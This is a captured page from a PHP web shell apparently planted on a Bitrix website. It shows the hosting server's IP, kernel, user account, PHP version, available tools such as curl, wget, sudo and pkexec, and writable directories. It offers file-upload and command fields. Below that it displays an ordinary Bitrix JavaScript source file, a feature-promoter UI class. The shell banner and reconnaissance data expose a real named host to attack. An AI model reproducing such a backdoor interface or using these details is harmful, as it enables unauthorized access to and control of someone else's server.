403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/info-helper/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/info-helper/src/feature-promoter.js
import { Extension, Type } from 'main.core';
import { InfoHelper } from 'ui.info-helper';
import { BaseProvider } from './providers/base-provider';
import { PopupProvider } from './providers/popup-provider';
import { SliderProvider } from './providers/slider-provider';
import type { FeaturePromoterConfiguration } from './types/configurations';

export class FeaturePromoter
{
	#code: string;
	#provider: BaseProvider;
	#options: FeaturePromoterConfiguration;

	constructor(options: FeaturePromoterConfiguration)
	{
		if (!options.code && !options.featureId)
		{
			throw new Error("Either the 'code' parameter or the 'featureId' parameter is required");
		}

		this.#options = options;
		this.#options.bindElement = options.bindElement ?? null;
		this.#code = options.code ?? '';

		const settings = Extension.getSettings('ui.info-helper');
		this.#provider = this.#createProvider(settings);
	}

	getOptions(): FeaturePromoterConfiguration
	{
		return this.#options;
	}

	getCode(): string
	{
		return this.#code;
	}

	getProvider(): BaseProvider
	{
		return this.#provider;
	}

	show(): void
	{
		return this.#provider.show(this.#code, {});
	}

	close(): void
	{
		return this.#provider.close();
	}

	getBindElement(): ?HTMLElement
	{
		return this.getOptions().bindElement;
	}

	#createProvider(settings: Object): BaseProvider
	{
		if (
			Type.isObject(settings)
			&& settings.popupProviderEnabled
			&& Type.isDomNode(this.getOptions().bindElement)
			&& (!this.getOptions().featureId || !settings.isUpgradeTariffAvailable)
		)
		{
			return new PopupProvider({
				bindElement: this.getOptions().bindElement,
				code: this.#code,
				featureId: this.getOptions().featureId ?? null,
			});
		}
		else
		{
			const provider = new SliderProvider({ featureId: this.getOptions().featureId ?? null });
			InfoHelper.sliderProviderForOldFormat ??= provider;

			return provider;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit